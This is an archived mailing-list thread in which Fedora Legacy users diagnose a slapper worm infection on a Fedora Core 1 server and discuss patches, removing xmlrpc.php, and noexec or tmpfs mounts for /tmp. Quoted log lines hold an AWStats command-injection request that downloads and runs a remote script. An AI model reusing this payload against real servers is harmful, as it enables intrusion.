21:09:11 2006 From: jkeating at j2solutions.net (Jesse Keating) Date: Mon, 23 Jan 2006 13:09:11 -0800 Subject: slapper worm In-Reply-To: <43D53FAE.2000309@beta.intcomgrp.com> References: <20060123202711.M4829@npgx.com.au> <43D53FAE.2000309@beta.intcomgrp.com> Message-ID: <1138050552.2679.61.camel@ender> On Mon, 2006-01-23 at 15:42 -0500, James Kosin wrote: > > Michael, > > Try my version of httpd here: > http://support.intcomgrp.com/~jkosin > > It has been effective against the worm so far. James, what is in your package that we haven't included in our Apache? I was under the assumption that we had fixed all the CVEs related to the slapper worm and that our users were safe. If this isn't the case, we have a severe problem and need to fix this immediately. -- Jesse Keating RHCE (geek.j2solutions.net) Fedora Legacy Team (www.fedoralegacy.org) GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From lsomike at futzin.com Mon Jan 23 21:28:43 2006 From: lsomike at futzin.com (Mike Klinke) Date: Mon, 23 Jan 2006 15:28:43 -0600 Subject: slapper worm In-Reply-To: <20060123202711.M4829@npgx.com.au> References: <20060123202711.M4829@npgx.com.au> Message-ID: <200601231528.43677.lsomike@futzin.com> On Monday 23 January 2006 14:32, Michael Mansour wrote: ? ? > ?403 344 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT > 5.1;)" 220.135.223.35 - - [23/Jan/2006:08:33:03 +1100] "GET > /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ft > mp%3bwget%20194%2e102%2e194%2e115%2fscripz%3bchmod%20%2bx%20scrip >z%3b%2e%2fscripz;echo%20YYY;echo| HTTP/1.1" > ?404 340 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT > 5.1;)" > > These "scripz" files end up going into /tmp, being compiled with > gcc, renamed to "httpd" and run as that. > > I'm using: > > perl-5.8.3-17.4.legacy > httpd-2.0.51-1.9.legacy > openssl-0.9.7a-33.13.legacy > > Are there any updates FL can do to any of the packages to > fix/block slapper from an FC1 machine? > > Michael. > ? Are you sure it's using an SSL exploit? http://www.lurhq.com/slapperv2.html Regards, Mike Klinke From kelson at speed.net Mon Jan 23 21:45:22 2006 From: kelson at speed.net (Kelson) Date: Mon, 23 Jan 2006 13:45:22 -0800 Subject: slapper worm In-Reply-To: <20060123202711.M4829@npgx.com.au> References: <20060123202711.M4829@npgx.com.au> Message-ID: <43D54E72.60702@speed.net> Michael Mansour wrote: > 220.135.223.35 - - [23/Jan/2006:08:33:02 +1100] "GET > /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ft > mp%3bwget%20194%2e102%2e194%2e115%2fscripz%3bchmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| > HTTP/1.1" > 403 344 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" > 220.135.223.35 - - [23/Jan/2006:08:33:03 +1100] "GET > /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ft > mp%3bwget%20194%2e102%2e194%2e115%2fscripz%3bchmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| > HTTP/1.1" > 404 340 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" ... > Are there any updates FL can do to any of the packages to fix/block > slapper from an FC1 machine? You might also want to make sure you're using a current version of AWStats. IIRC this flaw was fixed in either 6.3 or 6.4, and the current version is 6.5. (If you don't have awstats.pl on your system, then these lines are just probes and aren't relevant to your problem.) More generally, I read advice somewhere that mounting /tmp with the "noexec" option (and making any other temp directories symbolic links to that one) can make this type of attack much more difficult. -- Kelson Vibber SpeedGate Communications From jkosin at beta.intcomgrp.com Mon Jan 23 22:11:12 2006 From: jkosin at beta.intcomgrp.com (James Kosin) Date: Mon, 23 Jan 2006 17:11:12 -0500 Subject: slapper worm In-Reply-To: <1138050552.2679.61.camel@ender> References: <20060123202711.M4829@npgx.com.au> <43D53FAE.2000309@beta.intcomgrp.com> <1138050552.2679.61.camel@ender> Message-ID: <43D55480.3060006@beta.intcomgrp.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Jesse Keating wrote: > > James, what is in your package that we haven't included in our Apache? > I was under the assumption that we had fixed all the CVEs related to the > slapper worm and that our users were safe. If this isn't the case, we > have a severe problem and need to fix this immediately. > > > > ------------------------------------------------------------------------ Jesse, Hi. I think it was fixed with the updates to perl by the update. But, that said, he could have a WebAdmin install that makes him vulnerable again. My version takes care of the mod_ssl issue he already disabled. FC1 doesn't have a fix or if so it hasn't gone through QA yet. My version does add the mod_security module to Apache which should help with this and other worms that try to access via this type of method. James -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFD1VSAkNLDmnu1kSkRAuV5AJ4tHYj1a7HHknypuE0F0UhJyYDL7QCeKHDq DB1v27kblhsQGeIJdpyGEjI= =ywd9 -----END PGP SIGNATURE----- -- Scanned by ClamAV - http://www.clamav.net From mic at npgx.com.au Mon Jan 23 22:42:37 2006 From: mic at npgx.com.au (Michael Mansour) Date: Tue, 24 Jan 2006 08:42:37 +1000 Subject: slapper worm In-Reply-To: <200601231528.43677.lsomike@futzin.com> References: <20060123202711.M4829@npgx.com.au> <200601231528.43677.lsomike@futzin.com> Message-ID: <20060123224041.M42373@npgx.com.au> Hi Mike, > > 403 344 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT > > 5.1;)" 220.135.223.35 - - [23/Jan/2006:08:33:03 +1100] "GET > > /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ft > > mp%3bwget%20194%2e102%2e194%2e115%2fscripz%3bchmod%20%2bx%20scrip > >z%3b%2e%2fscripz;echo%20YYY;echo| HTTP/1.1" > > 404 340 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT > > 5.1;)" > > > > These "scripz" files end up going into /tmp, being compiled with > > gcc, renamed to "httpd" and run as that. > > > > I'm using: > > > > perl-5.8.3-17.4.legacy > > httpd-2.0.51-1.9.legacy > > openssl-0.9.7a-33.13.legacy > > > > Are there any updates FL can do to any of the packages to > > fix/block slapper from an FC1 machine? > > > > Michael. > > > > > Are you sure it's using an SSL exploit? > > http://www.lurhq.com/slapperv2.html > > Regards, Mike Klinke No I'm not sure. Reading through the link above, it does seem that you've hit the nail on the head with this one. I have two other FC1 machines and they weren't affected by Slapper (even when the 3rd one was). The FC1 machine that was, had the xmlrpc.php file which I've now removed. Michael. From mic at npgx.com.au Mon Jan 23 22:46:24 2006 From: mic at npgx.com.au (Michael Mansour) Date: Tue, 24 Jan 2006 08:46:24 +1000 Subject: slapper worm In-Reply-To: <43D54E72.60702@speed.net> References: <20060123202711.M4829@npgx.com.au> <43D54E72.60702@speed.net> Message-ID: <20060123224312.M39541@npgx.com.au> Hi Kelson, > Michael Mansour wrote: > > 220.135.223.35 - - [23/Jan/2006:08:33:02 +1100] "GET > > /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ft > > mp%3bwget%20194%2e102%2e194%2e115%2fscripz%3bchmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| > > HTTP/1.1" > > 403 344 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" > > 220.135.223.35 - - [23/Jan/2006:08:33:03 +1100] "GET > > /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ft > > mp%3bwget%20194%2e102%2e194%2e115%2fscripz%3bchmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| > > HTTP/1.1" > > 404 340 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" > ... > > Are there any updates FL can do to any of the packages to fix/block > > slapper from an FC1 machine? > > You might also want to make sure you're using a current version of > AWStats. IIRC this flaw was fixed in either 6.3 or 6.4, and the current > version is 6.5. Yeah, I run awstats 6.5 on that system. > (If you don't have awstats.pl on your system, then these lines are > just probes and aren't relevant to your problem.) > > More generally, I read advice somewhere that mounting /tmp with the > "noexec" option (and making any other temp directories symbolic > links to that one) can make this type of attack much more difficult. Definately noted as one of the measures to stop this type of attack, but for this particular server, /tmp is not a mounted filesystem but part of /, so I can't really do that without re-partitioning the disk and creating a dedicated /tmp. Thanks. Michael. From jkeating at j2solutions.net Mon Jan 23 23:03:44 2006 From: jkeating at j2solutions.net (Jesse Keating) Date: Mon, 23 Jan 2006 15:03:44 -0800 Subject: slapper worm In-Reply-To: <43D55480.3060006@beta.intcomgrp.com> References: <20060123202711.M4829@npgx.com.au> <43D53FAE.2000309@beta.intcomgrp.com> <1138050552.2679.61.camel@ender> <43D55480.3060006@beta.intcomgrp.com> Message-ID: <1138057424.2601.0.camel@ender> On Mon, 2006-01-23 at 17:11 -0500, James Kosin wrote: > > My version takes care of the mod_ssl issue he already disabled. FC1 > doesn't have a fix or if so it hasn't gone through QA yet. Do you have a CVE for the ssl issue? I'd like to see if it is somewhere in the QA pipeline. -- Jesse Keating RHCE (geek.j2solutions.net) Fedora Legacy Team (www.fedoralegacy.org) GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From marcdeslauriers at videotron.ca Mon Jan 23 23:32:31 2006 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Mon, 23 Jan 2006 18:32:31 -0500 Subject: slapper worm In-Reply-To: <20060123202711.M4829@npgx.com.au> References: <20060123202711.M4829@npgx.com.au> Message-ID: <1138059151.814.18.camel@mdlinux> On Tue, 2006-01-24 at 06:32 +1000, Michael Mansour wrote: > I'm using: > > perl-5.8.3-17.4.legacy > httpd-2.0.51-1.9.legacy > openssl-0.9.7a-33.13.legacy > > Are there any updates FL can do to any of the packages to fix/block slapper > from an FC1 machine? What version of php are you running? Marc. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From mic at npgx.com.au Mon Jan 23 23:33:27 2006 From: mic at npgx.com.au (Michael Mansour) Date: Tue, 24 Jan 2006 09:33:27 +1000 Subject: slapper worm In-Reply-To: <1138059151.814.18.camel@mdlinux> References: <20060123202711.M4829@npgx.com.au> <1138059151.814.18.camel@mdlinux> Message-ID: <20060123233312.M22034@npgx.com.au> Hi Marc, > On Tue, 2006-01-24 at 06:32 +1000, Michael Mansour wrote: > > > I'm using: > > > > perl-5.8.3-17.4.legacy > > httpd-2.0.51-1.9.legacy > > openssl-0.9.7a-33.13.legacy > > > > Are there any updates FL can do to any of the packages to fix/block slapper > > from an FC1 machine? > > What version of php are you running? php-4.3.11-1.fc1.3.legacy Michael. From wstockal at compusmart.ab.ca Tue Jan 24 00:16:07 2006 From: wstockal at compusmart.ab.ca (William Stockall) Date: Mon, 23 Jan 2006 17:16:07 -0700 Subject: slapper worm In-Reply-To: <20060123224312.M39541@npgx.com.au> References: <20060123202711.M4829@npgx.com.au> <43D54E72.60702@speed.net> <20060123224312.M39541@npgx.com.au> Message-ID: <43D571C7.8080106@compusmart.ab.ca> I don't remember for sure if this will work, but it may be possible to do something like this: mount --bind /tmp /tmp -o noexec I think that will now enforce the noexec on /tmp without having to create a new partition for tmp. Will. Michael Mansour wrote: > Hi Kelson, > > >>Michael Mansour wrote: >> >>>220.135.223.35 - - [23/Jan/2006:08:33:02 +1100] "GET >>>/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ft >>> > > mp%3bwget%20194%2e102%2e194%2e115%2fscripz%3bchmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| > >>> HTTP/1.1" >>> 403 344 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" >>>220.135.223.35 - - [23/Jan/2006:08:33:03 +1100] "GET >>>/cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ft >>> > > mp%3bwget%20194%2e102%2e194%2e115%2fscripz%3bchmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| > >>> HTTP/1.1" >>> 404 340 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" >> >>... >> >>>Are there any updates FL can do to any of the packages to fix/block >>>slapper from an FC1 machine? >> >>You might also want to make sure you're using a current version of >>AWStats. IIRC this flaw was fixed in either 6.3 or 6.4, and the current >>version is 6.5. > > > Yeah, I run awstats 6.5 on that system. > > >>(If you don't have awstats.pl on your system, then these lines are >>just probes and aren't relevant to your problem.) >> >>More generally, I read advice somewhere that mounting /tmp with the >>"noexec" option (and making any other temp directories symbolic >>links to that one) can make this type of attack much more difficult. > > > Definately noted as one of the measures to stop this type of attack, but for > this particular server, /tmp is not a mounted filesystem but part of /, so I > can't really do that without re-partitioning the disk and creating a dedicated > /tmp. > > Thanks. > > Michael. > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > https://www.redhat.com/mailman/listinfo/fedora-legacy-list From marcdeslauriers at videotron.ca Tue Jan 24 00:52:20 2006 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Mon, 23 Jan 2006 19:52:20 -0500 Subject: slapper worm In-Reply-To: <20060123224041.M42373@npgx.com.au> References: <20060123202711.M4829@npgx.com.au> <200601231528.43677.lsomike@futzin.com> <20060123224041.M42373@npgx.com.au> Message-ID: <1138063940.814.22.camel@mdlinux> On Tue, 2006-01-24 at 08:42 +1000, Michael Mansour wrote: > No I'm not sure. Reading through the link above, it does seem that you've hit > the nail on the head with this one. I have two other FC1 machines and they > weren't affected by Slapper (even when the 3rd one was). The FC1 machine that > was, had the xmlrpc.php file which I've now removed. Hi Michael, Do you know what installed the xmlrpc.php file? Was it something that came with FC1, or was it something you installed yourself? I'm just trying to make sure Fedora Legacy has everything covered. Marc. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From mic at npgx.com.au Tue Jan 24 02:16:48 2006 From: mic at npgx.com.au (Michael Mansour) Date: Tue, 24 Jan 2006 12:16:48 +1000 Subject: slapper worm In-Reply-To: <1138063940.814.22.camel@mdlinux> References: <20060123202711.M4829@npgx.com.au> <200601231528.43677.lsomike@futzin.com> <20060123224041.M42373@npgx.com.au> <1138063940.814.22.camel@mdlinux> Message-ID: <20060124021535.M77518@npgx.com.au> Hi Marc, > On Tue, 2006-01-24 at 08:42 +1000, Michael Mansour wrote: > > No I'm not sure. Reading through the link above, it does seem that you've hit > > the nail on the head with this one. I have two other FC1 machines and they > > weren't affected by Slapper (even when the 3rd one was). The FC1 machine that > > was, had the xmlrpc.php file which I've now removed. > > Hi Michael, > > Do you know what installed the xmlrpc.php file? Was it something that > came with FC1, or was it something you installed yourself? > > I'm just trying to make sure Fedora Legacy has everything covered. It came from Drupal. Michael. From jkosin at beta.intcomgrp.com Tue Jan 24 02:36:03 2006 From: jkosin at beta.intcomgrp.com (jkosin at beta.intcomgrp.com) Date: Mon, 23 Jan 2006 21:36:03 -0500 (EST) Subject: slapper worm In-Reply-To: <1138057424.2601.0.camel@ender> References: <20060123202711.M4829@npgx.com.au> <43D53FAE.2000309@beta.intcomgrp.com> <1138050552.2679.61.camel@ender> <43D55480.3060006@beta.intcomgrp.com> <1138057424.2601.0.camel@ender> Message-ID: <1384.68.225.180.72.1138070163.squirrel@68.225.180.72> > On Mon, 2006-01-23 at 17:11 -0500, James Kosin wrote: >> >> My version takes care of the mod_ssl issue he already disabled. FC1 >> doesn't have a fix or if so it hasn't gone through QA yet. > > Do you have a CVE for the ssl issue? I'd like to see if it is somewhere > in the QA pipeline. > I don't remember... it is either CVE-2005-3352 or CVE-2005-3357. I usually keep this page book-marked: http://httpd.apache.org/security/vulnerabilities_20.html Thanks, James Kosin -- Scanned by ClamAV - http://www.clamav.net From david at staff.webquarry.com Tue Jan 24 04:05:00 2006 From: david at staff.webquarry.com (David M. Shirley) Date: Mon, 23 Jan 2006 20:05:00 -0800 Subject: slapper worm In-Reply-To: <20060123224312.M39541@npgx.com.au> Message-ID: <969ABD6C-8C8E-11DA-B4C0-000393546D98@staff.webquarry.com> Yes you can. (if you have some unused blocks on any of your disk devices) Just create a partition and mount it on /tmp Edit /etc/fstab so that it mounts at boot (and noexec) and you are good to go. David On Monday, Jan 23, 2006, at 14:46 US/Pacific, Michael Mansour wrote: > Definately noted as one of the measures to stop this type of attack, > but for > this particular server, /tmp is not a mounted filesystem but part of > /, so I > can't really do that without re-partitioning the disk and creating a > dedicated > /tmp. From mklinke at axsi.com Mon Jan 23 21:12:25 2006 From: mklinke at axsi.com (Mike Klinke) Date: Mon, 23 Jan 2006 15:12:25 -0600 Subject: slapper worm In-Reply-To: <20060123202711.M4829@npgx.com.au> References: <20060123202711.M4829@npgx.com.au> Message-ID: <200601231512.25606.mklinke@axsi.com> On Monday 23 January 2006 14:32, Michael Mansour wrote: > 403 344 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT > 5.1;)" 220.135.223.35 - - [23/Jan/2006:08:33:03 +1100] "GET > /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ft > mp%3bwget%20194%2e102%2e194%2e115%2fscripz%3bchmod%20%2bx%20scrip >z%3b%2e%2fscripz;echo%20YYY;echo| HTTP/1.1" > 404 340 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT > 5.1;)" > > These "scripz" files end up going into /tmp, being compiled with > gcc, renamed to "httpd" and run as that. > > I'm using: > > perl-5.8.3-17.4.legacy > httpd-2.0.51-1.9.legacy > openssl-0.9.7a-33.13.legacy > > Are there any updates FL can do to any of the packages to > fix/block slapper from an FC1 machine? > > Michael. > Are you sure it's using an SSL exploit? http://www.lurhq.com/slapperv2.html Regards, Mike Klinke From hjp+fedora-legacy at wsr.ac.at Tue Jan 24 11:00:12 2006 From: hjp+fedora-legacy at wsr.ac.at (Peter J. Holzer) Date: Tue, 24 Jan 2006 12:00:12 +0100 Subject: slapper worm In-Reply-To: <20060123224312.M39541@npgx.com.au> References: <20060123202711.M4829@npgx.com.au> <43D54E72.60702@speed.net> <20060123224312.M39541@npgx.com.au> Message-ID: <20060124110012.GI18831@wsr.ac.at> On 2006-01-24 08:46:24 +1000, Michael Mansour wrote: > > More generally, I read advice somewhere that mounting /tmp with the > > "noexec" option (and making any other temp directories symbolic > > links to that one) can make this type of attack much more difficult. This doesn't really prevent execution of programs on /tmp, it just makes it more difficult. It is useful against worms which don't expect /tmp to be mounted noexec, though. (In other words: It works as long as only a few people use this trick) > Definately noted as one of the measures to stop this type of attack, but for > this particular server, /tmp is not a mounted filesystem but part of /, so I > can't really do that without re-partitioning the disk and creating a dedicated > /tmp. You could put /tmp on a tmpfs: /etc/fstab: none /tmp tmpfs noexec 0 0 hp -- _ | Peter J. Holzer | If I wanted to be "academically correct", |_|_) | Sysadmin WSR | I'd be programming in Java. | | | hjp at wsr.ac.at | I don't, and I'm not. __/ | http://www.hjp.at/ | -- Jesse Erlbaum on dbi-users -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 388 bytes Desc: not available URL: From mic at npgx.com.au Tue Jan 24 12:13:26 2006 From: mic at npgx.com.au (Michael Mansour) Date: Tue, 24 Jan 2006 22:13:26 +1000 Subject: slapper worm In-Reply-To: <20060124110012.GI18831@wsr.ac.at> References: <20060123202711.M4829@npgx.com.au> <43D54E72.60702@speed.net> <20060123224312.M39541@npgx.com.au> <20060124110012.GI18831@wsr.ac.at> Message-ID: <20060124120653.M73556@npgx.com.au> Hi Peter, > On 2006-01-24 08:46:24 +1000, Michael Mansour wrote: > > > More generally, I read advice somewhere that mounting /tmp with the > > > "noexec" option (and making any other temp directories symbolic > > > links to that one) can make this type of attack much more difficult. > > This doesn't really prevent execution of programs on /tmp, it just makes > it more difficult. It is useful against worms which don't expect > /tmp to be mounted noexec, though. (In other words: It works as long > as only a few people use this trick) > > > Definately noted as one of the measures to stop this type of attack, but for > > this particular server, /tmp is not a mounted filesystem but part of /, so I > > can't really do that without re-partitioning the disk and creating a dedicated > > /tmp. > > You could put /tmp on a tmpfs: > > /etc/fstab: > none /tmp tmpfs noexec 0 0 That's actually a very good idea, I forgot about that. But I thought it was more like: /dev/shm /tmp tmpfs noexec,size=512M,mode=777 0 0 ie. I'd have to use the /dev/shm device instead of "none" ? Actually, I forgot whether the tmpfs automatically adds the sticky bit on /tmp, or would I need to change the mode to "1777" ? Michael. From hjp+fedora-legacy at wsr.ac.at Tue Jan 24 12:26:33 2006 From: hjp+fedora-legacy at wsr.ac.at (Peter J. Holzer) Date: Tue, 24 Jan 2006 13:26:33 +0100 Subject: slapper worm In-Reply-To: <20060124120653.M73556@npgx.com.au> References: <20060123202711.M4829@npgx.com.au> <43D54E72.60702@speed.net> <20060123224312.M39541@npgx.com.au> <20060124110012.GI18831@wsr.ac.at> <20060124120653.M73556@npgx.com.au> Message-ID: <20060124122633.GP18831@wsr.ac.at> On 2006-01-24 22:13:26 +1000, Michael Mansour wrote: > Hi Peter, > > > On 2006-01-24 08:46:24 +1000, Michael Mansour wrote: > > > Definately noted as one of the measures to stop this type of attack, but for > > > this particular server, /tmp is not a mounted filesystem but part of /, so I > > > can't really do that without re-partitioning the disk and creating a dedicated > > > /tmp. > > > > You could put /tmp on a tmpfs: > > > > /etc/fstab: > > none /tmp tmpfs noexec 0 0 > > That's actually a very good idea, I forgot about that. But I thought it was > more like: > > /dev/shm /tmp tmpfs noexec,size=512M,mode=777 0 0 > > ie. I'd have to use the /dev/shm device instead of "none" ? The device is ignored for filesystems which don't really use any device (like proc, sys, tmpfs, etc.).It might be a good idea to use a more descriptive string than "none", though. > Actually, I forgot whether the tmpfs automatically adds the sticky bit on > /tmp, or would I need to change the mode to "1777" ? The default mode is 1777. If you explicitely set the mode to 777, the sticky bit isn't set. hp -- _ | Peter J. Holzer | If I wanted to be "academically correct", |_|_) | Sysadmin WSR | I'd be programming in Java. | | | hjp at wsr.ac.at | I don't, and I'm not. __/ | http://www.hjp.at/ | -- Jesse Erlbaum on dbi-users -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 388 bytes Desc: not available URL: From jedgecombe at carolina.rr.com Tue Jan 24 13:50:30 2006 From: jedgecombe at carolina.rr.com (Jason Edgecombe) Date: Tue, 24 Jan 2006 08:50:30 -0500 Subject: slapper worm In-Reply-To: <20060124021535.M77518@npgx.com.au> References: <20060123202711.M4829@npgx.com.au> <200601231528.43677.lsomike@futzin.com> <20060123224041.M42373@npgx.com.au> <1138063940.814.22.camel@mdlinux> <20060124021535.M77518@npgx.com.au> Message-ID: <43D630A6.4050703@carolina.rr.com> Michael Mansour wrote: >Hi Marc, > > > >>On Tue, 2006-01-24 at 08:42 +1000, Michael Mansour wrote: >> >> >>>No I'm not sure. Reading through the link above, it does seem that you've hit >>>the nail on the head with this one. I have two other FC1 machines and they >>>weren't affected by Slapper (even when the 3rd one was). The FC1 machine that >>>was, had the xmlrpc.php file which I've now removed. >>> >>> >>Hi Michael, >> >>Do you know what installed the xmlrpc.php file? Was it something that >>came with FC1, or was it something you installed yourself? >> >>I'm just trying to make sure Fedora Legacy has everything covered. >> >> > >It came from Drupal. > >Michael. > > That sounds like the xmlrpc exploit for the pear library. I got hit by that a few months ago. I was running b2evolution, but drupal was affected as well. My host was a FC4 box with all updates in place (w/mod_security and selinux enabled). I had to rebuild because I wasn't sure the box was comprimised, but it was vulnerable (the exploit worked) and it was under attack. Jason From jkosin at beta.intcomgrp.com Tue Jan 24 14:06:41 2006 From: jkosin at beta.intcomgrp.com (James Kosin) Date: Tue, 24 Jan 2006 09:06:41 -0500 Subject: slapper worm In-Reply-To: <1138057424.2601.0.camel@ender> References: <20060123202711.M4829@npgx.com.au> <43D53FAE.2000309@beta.intcomgrp.com> <1138050552.2679.61.camel@ender> <43D55480.3060006@beta.intcomgrp.com> <1138057424.2601.0.camel@ender> Message-ID: <43D63471.3040606@beta.intcomgrp.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Jesse Keating wrote: > On Mon, 2006-01-23 at 17:11 -0500, James Kosin wrote: >> My version takes care of the mod_ssl issue he already disabled. FC1 >> doesn't have a fix or if so it hasn't gone through QA yet. > > Do you have a CVE for the ssl issue? I'd like to see if it is somewhere > in the QA pipeline. > > > > ------------------------------------------------------------------------ Jesse, Just checked this morning. https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=175406 But, I think we may need to do something pro actively... I'm seeing many posting either not knowing about this worm or not knowing if they are protected or how vulnerable they may be. Many use (or using) WebAdmin for simple configuration or installing other software making them more vulnerable. My FC1 box was not vulnerable, only because I like to use the command line and edit files manually instead of by web-pages. What we need is a comprehensive fix to prevent all this from happening unknowingly to the users. Or a way of checking before they get infected. James -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFD1jRxkNLDmnu1kSkRAlmuAJ9E/0owV13AuVZOxK+I0F859ZRCYACffnal zuVC11nLSrrGWJMEucMAswg= =0ZT6 -----END PGP SIGNATURE----- -- Scanned by ClamAV - http://www.clamav.net From mike.mccarty at sbcglobal.net Tue Jan 24 19:08:52 2006 From: mike.mccarty at sbcglobal.net (Mike McCarty) Date: Tue, 24 Jan 2006 13:08:52 -0600 Subject: slapper worm In-Reply-To: <43D63471.3040606@beta.intcomgrp.com> References: <20060123202711.M4829@npgx.com.au> <43D53FAE.2000309@beta.intcomgrp.com> <1138050552.2679.61.camel@ender> <43D55480.3060006@beta.intcomgrp.com> <1138057424.2601.0.camel@ender> <43D63471.3040606@beta.intcomgrp.com> Message-ID: <43D67B44.6010707@sbcglobal.net> James Kosin wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Jesse Keating wrote: > >>On Mon, 2006-01-23 at 17:11 -0500, James Kosin wrote: >> >>>My version takes care of the mod_ssl issue he already disabled. FC1 >>>doesn't have a fix or if so it hasn't gone through QA yet. >> >>Do you have a CVE for the ssl issue? I'd like to see if it is somewhere >>in the QA pipeline. >> >> >> >>------------------------------------------------------------------------ > > Jesse, > > Just checked this morning. > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=175406 > > But, I think we may need to do something pro actively... I'm seeing > many posting either not knowing about this worm or not knowing if they > are protected or how vulnerable they may be. [snip] I'm a little shocked at this, frankly. I Googled around, and found mentions of the Slapper going back to 2002. Why is it that this exploit (and variations of it) haven't all been stamped out years ago? Mike -- p="p=%c%s%c;main(){printf(p,34,p,34);}";main(){printf(p,34,p,34);} This message made from 100% recycled bits. You have found the bank of Larn. I can explain it for you, but I can't understand it for you. I speak only for myself, and I am unanimous in that! From lsomike at futzin.com Tue Jan 24 19:20:11 2006 From: lsomike at futzin.com (Mike Klinke) Date: Tue, 24 Jan 2006 13:20:11 -0600 Subject: slapper worm In-Reply-To: <43D67B44.6010707@sbcglobal.net> References: <20060123202711.M4829@npgx.com.au> <43D63471.3040606@beta.intcomgrp.com> <43D67B44.6010707@sbcglobal.net> Message-ID: <200601241320.12002.lsomike@futzin.com> On Tuesday 24 January 2006 13:08, Mike McCarty wrote: > I'm a little shocked at this, frankly. I Googled around, and > found mentions of the Slapper going back to 2002. Why is it that > this exploit (and variations of it) haven't all been stamped > out years ago? Read the link I posted yesterday, according to them, it's been rewritten to exploit new ways to get in to your box. http://www.lurhq.com/slapperv2.html Regards, Mike Klinke From gerry at pathtech.org Tue Jan 24 19:37:31 2006 From: gerry at pathtech.org (G. Roderick Singleton) Date: Tue, 24 Jan 2006 14:37:31 -0500 Subject: slapper worm In-Reply-To: <200601241320.12002.lsomike@futzin.com> References: <20060123202711.M4829@npgx.com.au> <43D63471.3040606@beta.intcomgrp.com> <43D67B44.6010707@sbcglobal.net> <200601241320.12002.lsomike@futzin.com> Message-ID: <1138131451.4954.126.camel@www.pathtech.org> On Tue, 2006-01-24 at 13:20 -0600, Mike Klinke wrote: > On Tuesday 24 January 2006 13:08, Mike McCarty wrote: > > > I'm a little shocked at this, frankly. I Googled around, and > > found mentions of the Slapper going back to 2002. Why is it that > > this exploit (and variations of it) haven't all been stamped > > out years ago? > > > Read the link I posted yesterday, according to them, it's been > rewritten to exploit new ways to get in to your box. > > http://www.lurhq.com/slapperv2.html > > This exploit can be managed. Please see http://www.modsecurity.org/ Apparently, this is known and requires updating of xmlrpm.php libraries. -- G. Roderick Singleton PATH tech From gene.heskett at verizon.net Tue Jan 24 20:00:19 2006 From: gene.heskett at verizon.net (Gene Heskett) Date: Tue, 24 Jan 2006 15:00:19 -0500 Subject: slapper worm In-Reply-To: <200601241320.12002.lsomike@futzin.com> References: <20060123202711.M4829@npgx.com.au> <43D67B44.6010707@sbcglobal.net> <200601241320.12002.lsomike@futzin.com> Message-ID: <200601241500.19719.gene.heskett@verizon.net> On Tuesday 24 January 2006 14:20, Mike Klinke wrote: >On Tuesday 24 January 2006 13:08, Mike McCarty wrote: >> I'm a little shocked at this, frankly. I Googled around, and >> found mentions of the Slapper going back to 2002. Why is it that >> this exploit (and variations of it) haven't all been stamped >> out years ago? > >Read the link I posted yesterday, according to them, it's been >rewritten to exploit new ways to get in to your box. > >http://www.lurhq.com/slapperv2.html > If this file mentioned on the site doesn't exist on any of my systems, is it safe to assume relative safety against this attack? I would think so when combined with the ISP's (vz) blocking of port 80, but what do I know... Thats why I asked, Mike. -- Cheers, Gene People having trouble with vz bouncing email to me should add the word 'online' between the 'verizon', and the dot which bypasses vz's stupid bounce rules. I do use spamassassin too. :-) Yahoo.com and 